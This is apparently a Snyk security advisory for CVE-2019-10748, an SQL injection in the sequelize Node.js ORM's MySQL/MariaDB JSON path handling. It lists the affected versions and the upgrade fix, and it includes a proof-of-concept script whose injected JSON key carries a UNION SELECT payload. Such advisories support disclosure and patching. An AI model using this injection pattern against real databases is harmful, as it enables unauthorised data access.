SQL Injection Affecting sequelize package, versions >=3.0.0 <3.35.1>=4.0.0 <4.44.3>=5.0.0-0 <5.8.11


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.42% (74th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SEQUELIZE-450221
  • published21 Jun 2019
  • disclosed20 Jun 2019
  • creditSnyk Security Team

Introduced: 20 Jun 2019

CVE-2019-10748  (opens in a new tab)
CWE-89  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade sequelize to version 3.35.1, 4.44.3, 5.8.11 or higher.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection due to JSON path keys not being properly escaped for the MySQL/MariaDB dialects.

PoC by Snyk

const Sequelize = require('sequelize');
const sequelize = new Sequelize('mysql', 'root', 'root', {
  host: 'localhost',
  port: '3306',
  dialect: 'mariadb',
});

class Project extends Sequelize.Model {}

Project.init({
  name: Sequelize.STRING,
  target: Sequelize.JSON,
}, {
  sequelize,
  tableName: 'projects',
});

(async () => {
  await sequelize.sync();

  console.log(await Project.findAll({
    where: {target: {"a')) AS DECIMAL) = 1 UNION SELECT VERSION(); -- ": 1}},
    attributes: ['name'],
    raw: true,
  }));
})();

// https://github.com/sequelize/sequelize/blob/master/lib/dialects/abstract/query-generator.js#L1059-L1061
// case 'mariadb':
//   pathStr = ['$'].concat(paths).join('.');
//   return `json_unquote(json_extract(${quotedColumn},'${pathStr}'))`;

CVSS Scores

version 3.1